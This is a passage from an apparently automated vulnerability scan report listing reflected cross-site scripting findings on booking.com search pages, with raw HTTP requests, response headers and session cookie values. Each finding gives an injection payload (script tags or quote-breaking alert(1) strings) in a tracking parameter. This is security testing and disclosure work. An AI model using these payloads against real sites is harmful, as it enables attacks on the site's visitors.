nn56jZrp9vEXPPoCPlrJv0Ryp95KQUfr3A4eOEu9ZzvmgPAMEQo7lGdth0WBOHc0k9KCymkhyxM6%2B4Mtg7%2Ff2ban4VPW%2B%2FmqCHrImkQNggAXbUB4BrkuEhTuMQkltBEy54S0UkvNg0GKvwS85JnKW6XaO0aeZU6xW0rrA%2FcBMf8fiEw1yJx7%2FhlklXCvXJQ02%2FV5wkThSA8rMWwsAOXZNPtv2miewev8XywH2B%2Fq1j1fe%2FH9L6q8CJ%2BrJ%2Ba7z%2FJmSKwuTK%2BR6Hb%2FcE2ZBB%2FshMe57V5AOO%2B41V1bFbRECurpEBVkK%2BED26jLqJ6z8bl%2Fsk8L7ijEFOOALX6%2F7YKGWm1srlHPCpvUI5nspeIKlsTTmri23%2FL4222e2PEt2lMwkgoGqpgURE6qpexWMCDA2E6BRDvxmw8ZKCeK%2BSzEHzEWZToeTN0Ts8wdUGrPs39rNHZuwKKDlRQ5nsy3mwS7JO8wOYxiVmVLTQgGBDGO02pnt85NjEBTiAun69wP%2BVRLYYOShIgYyUOGgVDsThfMmtpdNCwxeobrdNWu4ItGJ6pVZisVgQ%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:41 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391878 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 344aa"><script>alert(1)</script>815550adb7c was submitted in the utm_medium parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC344aa"><script>alert(1)</script>815550adb7c&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:28 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR5vMROsGtdOqni7xd6cAoVKhb9Ewrb6Lle4B6NIh%2BeUKFpHaVQ7I%2Bv2i0aU%2BoaHw1r6PzmyXv7KVvGiCgLVPhQ6xPTakka1dxZQ6DCxQDenu2rKiqZKZqtvOkBYMROrZcYscHarlS0s7caQOq7nq3HKgynVWmhc%2BlY9pf305Cjlkerg4Jj4TrEqt5zC5NpPTYEVlGB5UYVzGTjsTFsmoa7rApNujeJYw4vDthwNtsu59UJvV3LjvWDEZewz6nel%2FZG7MFWiCdIGDAqj%2FQBsJcNs3TgR0Le%2FZGj3AM5pahsQ3D%2FFFqALqSexi2UskddoQI988xx9RagbWgNdS5914aH%2BxwZIVj9Yzrl2u2UahUdOMNE67j0Wpg9USYE7BCx7x5gw5jRq3gkyGDsHs7X5azsE6gd4YxBgrcvmk6%2FwQ4myyDPMdDBRookjmYUSevnUnEGrE2aRLJqPWUC5Y01RreLHG8HcAiM%2Frep%2BhvtHxIF1BO1wi10seHEIB4bku1IYb9BvGWLMpEE%2BoQoYfTDQqssblitzzammcyZB7ROio8UMprtvtuFzqAF%2FAPIeuXdOjr79OojBGEDzmIRvOqAr%2FzHqjHqwH8vybt8jm%2BwghUUXTyYb%2BkcSrMcftFJTKdV6wMBm6e1DdZXRZoLtm%2F6RaIpTpUL7mqF5SZaYa9iLTDtkdE0INDYPnz4l%2F3doDwLsb6htopKghBmiUNuMgnVRkK1bIGQATiYxOf3YEk6E6hTmrzINROFan7tNgw%2BgpKScZ%2FOBucZ%2FC5yPObCPdfvgfGkTPt11Jval%2FBWy8sHblLazlePrycG7KtE7LG5qYZ5I9Act%2FNJfFQ3zu7WFjb61FerlqV3%2FFpUKixv26VQQ%2FfPxquPe7nn56jZrp9vEXPPoCPlrJv0Ryp95KQUfr3A4eOEu9ZzvmgPAMEQo7lGdth0WBOHc0k9KCymkhyxM6%2B4Mtg7%2Ff2ban4VPW%2B%2FmqCHrImkQNggAXbUB4BrkuEhTuMQkltBEy54S0UkvNg0GKvwS85JnKW6XaO0aeZU6xW0rrA%2FcBMf8fiEw1yJx7%2FhlklXCvXJQ02%2FV5wkThSA8rMWwsAOXZNPtv2miewev8XywH2B%2Fq1j1fe%2FH9L6q8CJ%2BrJ%2Ba7z%2FJmSKwuTK%2BR6Hb%2FcE2ZBB%2FshMe57V5AOO%2B41V1bFbRECurpEBVkK%2BED26jLqJ6z8bl%2Fsk8L7ijEFOOALX6%2F7YKGWm1srlHPCpvUI5nspeIKlsTTmri23%2FL4222e2PEt2lMwkgoGqpgURE6qpexWMIS389g8%2F8mZI8lwWGE9JksdaLbXuVy9N3SCRjLVKcjXf9SwBm%2FyUAPg%2FDHVvRr496Vy1mwhjyryHxJpGrf9UUt4kvnV3TiKnD0AXB0L05Tdyrgx18h6JceMtd7UHLp6b4odk3WLeoEiy7YIzluKXRP4yeiIYXMRLw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:29 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391937 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_source request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f430'-alert(1)-'dcfb36c82fd was submitted in the utm_source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo7f430'-alert(1)-'dcfb36c82fd&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:23 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDse8sXHPGMRX9HprwKtyNbj%2Ba5CAQ3Uz9eoVzkg70RpUFnm2042B3579UQ5qP3P7oyaegNlsgBKG2atnlnur6lQD5U81gNSkzLpiXUksnHO6av8%2BLst085XwnjXOfYTCWcbO90%2F4qY%2FsRIUfwTkUnoph%2BhMfg98dxBkWo5n3wBCMhREl%2BoFiUHpmPWZoKMSu2CGJqkFgh6Qyzkt3Fynk%2BzW3IIDOekD6joY%2BkOYS03WztSmYe8pVB8yJWleX9eG4ATiTPwq96PvrdXBQVFVpmCh4o7z%2BNQz4l6S%2FZN%2FDBN6PFKB0lnSmOK%2FurEG8Ml9t5J%2BOB9iyNiyyv864%2Flvm2oCMbdGTmbuTnQFj2zwpKCbmBRtF2ZFq27xHJphwAgEc87%2F%2Fc%2B4mi9mxehEBK9lAu3%2Bzlfdh7GhBrdTN4hBqs195CVMU%2Fjg6flqyX%2BeoPT4vap4DwsZ12ywkq98%2FzLUVi4UeF9LufGigU%2FOcuRo2wfkRVGmdRtL08sk%2BxMTmyNwmoXUFl40nkUrs4IQAzlpDbNfQCrlmIlSeU3BbP5JV%2Bqoj8UgSIFWbzVr7IOjAZzXScX29Zx%2BpqAegU2cw7Tm7OFWISMkaTjj3v%2FPF%2Bl41xMbU0%2FmfXff9XL1Y5FUxfNXdN1urxpyXvj8Y2PKF58e%2F7Ud%2BW4odd%2FPY5Iifl29x9reql5nJEDX4d6poDXaOzJud8kXMAsXx6%2BbeT1SNTnr%2BGxI0V8chLr06l051XSRzVFV3dqlNTZsWCa1OnYD9ZPIocwO2S0y%2Fs1TCxz1R7Q0S3s3%2BTG3cDvNkQZ8ozps9W83F9BlkOmw9g6hwymySWy3v0eMQWJ85zs1KtYKAAeqhQownd0n1%2FYiJ%2Bx6%2B3tDOsltm60cGci9%2BVkovckZo%2B8cKLLnkY0eP6Ea0KVP6JCXqorsd2ZUf865qw%2Fg3DoGwDvObWO4E%2F%2FNzNnJE%2BTk7wsFE7A0KS0VRYsRkild6STDy95%2F5Z0fnyfGZY9Q%2F1chJ7B2%2Bh1IjHNnEAOc786LN3S%2FGEpzAlBTkH4O2I1Ov7hj9YoEWIcrR%2FiRzfs%2BSA9vJLzu6IEH22ffmtK2DhPufZGShGOegaU2Kc%2Be1xB7Mdgqqkd3jKxDXugL3jzFC%2BlTFJ05OdVPMp2G4bInwOOfUw1bEoB20w5jhLYYo2qr%2FuF4cw8%2F%2F0baMQ3A7t6QW%2BZLuQmfQqLPggXBBtNtTns3ylFZVHgjVujZvDlb6hq2HJOrmVzzt4GZ2s9bhCKLcegAC91TLIQTbsxgsoMWLwNBmwrRm2pyVMo6BYIxsnXRQ5fq1NvHKekqZufmd3x4sq0uidrPjcitUPafqefdYi%2FI9vnlT4uppop07S0y9hnYvL41OGimvbcu6xn7rYpM89AxhcZPisir6Fi6vcZmO6B9Z0CmUP9tt4YzzhPvmrOzAywUPwbmeMGKz0RTfXDmNrJ0No0pVAEClHHHLs4A%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:24 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391878 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5cb2"><script>alert(1)</script>27c39c43203 was submitted in the utm_source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougof5cb2"><script>alert(1)</script>27c39c43203&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:09 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDWgwOhJxwg7m3%2FTm%2Bpe85rxz59CV0EgvxyeGT10beFZZcogoAsj2MaENn2KYaVZ1r0fFhSxmgUylhAQt7UHQtXRDja87uWC2XXI%2BUDMC6X3dhBduLLDaw4dqw%2FUS9hvrqfZ7Ir7BDuwlhH6su0%2BN1ni7MLD987AnAKzveI%2BGPFecjvy%2BPfJPYInweihYYq9LUaqT0z8BhwTIpQjiGKS8nijdL3YrStO2nyK2bmgtOCxOYxj8ozNDOeF6l%2BtuhiV4%2BrMtjCX2chT4vgMvL3CCCKCpgyqK%2F3F0lA4PfO55WiXGWWLLjlI1NMj8KHbtT1QK7Q%2FvbaYowTCAAeM6%2F%2BDWHhxIqHgvgRh9e44TQUjX6yLYQgjPs7RB7Zfz4ctl%2FlW0PRajbcq1Dh6rgqORADVMYgTMHxguwfPH64VqZHYpOLkzLfWeb2wvch2j8SnQPjCrUzYZX4sYOZwdbGQc7X9c37G%2FjdV5qLmD12VfnFIWvYp2fcIK8J8zRpYJ5WI72sZyBAseMq%2Fjz32f6IMsrr1tJYqbaRXD3owjsjRVq06bFkKKc9g%2FwfD0Rsxade%2BoJVHQmKyJ4PtVpfWke4w2S5xY1x0%2Fn4gbRSPaCbwTiTomT7L5D540lQJtMFC9NxrfmsZTAeXZ2HrSfc9%2Byz7RII%2BvCXMvKMVFreSS9PJtEP9L8O868P70OeCEo1ql%2FWYsK9Da%2FaxjtETkYSxWsjXyQLuQv7hDlKq7A2qBwL1JYkJzZ4ffNjVBx9xeThFFTEbuBnh2I3KWnnmJfEdvbryR1efGrN5J%2FK5WuDMxD75hf%2FCw8HLZqsFLPhGVLPBhQQ%2FCaqyxhS9Q0EMfNOJOpYIHRgE1jDQ15Z48XV4QnMvZSmVIFqwwaKGvWyO7CNQHvUTRPCJFYlroctDFvEXFsV2m7mSELrLHBgKyHKoZ8R98I8jR1Qp5TBoFV3bFM9HKLe1yM%2BKQTGSpE%2BBhMdZMBUyEvJniLXpGj4DMerhqxmiZKoROPtFcjiCcoBnkzb8Dmne9%2FXCBq02qqx8vabR799Rg%2FjqiiNjfM9kdzq6hJ5F5w8Uuer0VYZnX%2FTKw1XwRPtXqtql5k8B%2BbxCYmuqG0j0xI5e5ww%2FgkmQnSMUOi9d9GaN%2F4kFQUduhstV4uD11A2l8%2BOFya8Kcuth13fqnrdZMzp4Lfi2bunXSvjnMS4D0O9RlWrmIy5f32rMML1SMUyTAVlVMguldjgSxxr4vDY5ep76bodfWdplXNw4BGmweJ43xXpuBNQVymNqizGykoqSBm88eh6SLIuGv%2Fl8EiaJDay%2FZZhk%2FrzK3TRJjTJ%2Bp31g2Oy%2BrmgXT2w%2BW%2FIYEv97oAMSmwQzw9fFOkDHaAf4tJEgxWSbFbWCn4m1W1io5t3tMuHwTvNd2sv6OTYP5hOJfBGzPTiGLrqI9%2FTFTKmWX3rUYnVM0KyUNgNKY9t16hKs9dpqMLCCEWb6xyhw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:10 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391937 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_term request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a141a'-alert(1)-'2eed708b64a was submitted in the utm_term parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717a141a'-alert(1)-'2eed708b64a HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:24:15 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR0kCPIILsWbZor2CD1FfGdefKUJXrZ4LhRultf9wi7%2BBycH4xAtJDnocbX99V9iTV%2BCZu%2F7CR3zJukD8HaD4O%2Bn3PgwRcsOPNeQz%2FfcHJ3A0qMMXY8yG0Ri0I8JCYVxf4gOpKnX1LZ%2B13%2B6Hwn8HQQELuwdIkYYXdFOFc%2Bya2y1SdJYOwX293XsVCddY5O4Ed9skYxPbnMgpYl%2Bf6sLx94GLK%2BcvHKHQHK8NaqzRR8nz7slUofgPj2K7z4XpIqqa6KSjA6pdyak%2FWc%2BrEkI5%2BbX93FEtvkdYHtU5Y2GEazztQa50C7GgGNPEVQy22%2Bw608iybHuCrkISTj2Bf%2BQzq6idsLhjmJOLyEkyNdWC6AgeCrYDCl5cVhW8KnAlopAP5fAHChHUkHRSFpAJXbzag63EKAceWFUi6QZfBEwDxn7SaUi%2BBJE84p3G%2FqcoENQOhPHxugZlfnVlF8V8cfwaNARbYxAkRpWxUXHjiBwkFF6%2BoDWHSn7RgzPzqFcjgDNnqdxls%2Bnw7Uji4npBVggyyNuMTTUSJdSZ1Pfr1z197RMGmJ%2B8NACzXFJGLISS8FBxQjTnYJVOF6OM%2FdoS%2FHkPxBQeqGJqIoBCAMJ%2Fc2lbVczUQ2KDl22Pe7iJlXwGnN1V3y8Lwb8V9kJA%2BmvtTwOtJg8WKt6j85Ez0jttT6xADtkswCJ8b07bA0sRH9%2Fwa%2Bbn7%2FagOZWCBHF4GRHU3%2F47tQKLUsgvX44d2eSMpKnu%2FWygwE6NOhXj4PCA8xBBJEmHTJOhP5hqRHZ4gp7bu%2F4mGyyYHPVfHbr%2F2UNo2Wj%2F1PU0WLGA5IwNoIA1QLIeTSva4Mn99qy4UZjin4x32XmVJNrKhnxrNKdp6tW%2BgdAdbaY2eejT7gd1gzkrErRRRLp1WViOeW9Mtg7anCiXm3Vzn9Lpr9gT37xyElW32DEGfzYw04TGIlpr1CTVXyaWdWiMJ8CZv0IVf37s%2F%2FipxnP9bFIOCdZOiFfs237EMB7%2F4zZkX59HHKQk1bwmX0g4fTjhA2x8jTLFQAe3FjlibjVFjcCHO1bCUMCEtatpHNuABk8SOU9gUFi%2FBcpMWdfjVaCcLGE3hjnnRbw72PFt9lybtMU%2FnB1ZO6toeSrcGegfBvsCIvDMIwBuRKeNZop%2B367u9F3pEaTwUTXCbh%2FKEwPV2gSaLerX527o8y2IAL7%2FK28tsfz7yo9bAanvsZtmFtQPppDJTuzPgyPvKgcAUA5yWdDzLhPfQl6rS9n5gmgviTtbqd5QghT88r0QVbF2CBWbKEetKfmXdEqLL21Tiu2bOsFEp3AbU5Fo1XmUdgIc%2FaTMLtPPtdg5m%2BqNEQxoo35FJtp7aXHp0OB1EJNBu1sSMcW00HsrUjvvMqLSvC0CFv55uMRQDX7onAaOojVkgf55a8lcRIwsKzUo2Llx0JkVxEBNEROyUFYefQ%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:24:16 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391701 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_term request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3970"><script>alert(1)</script>ee37038bef was submitted in the utm_term parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717e3970"><script>alert(1)</script>ee37038bef HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P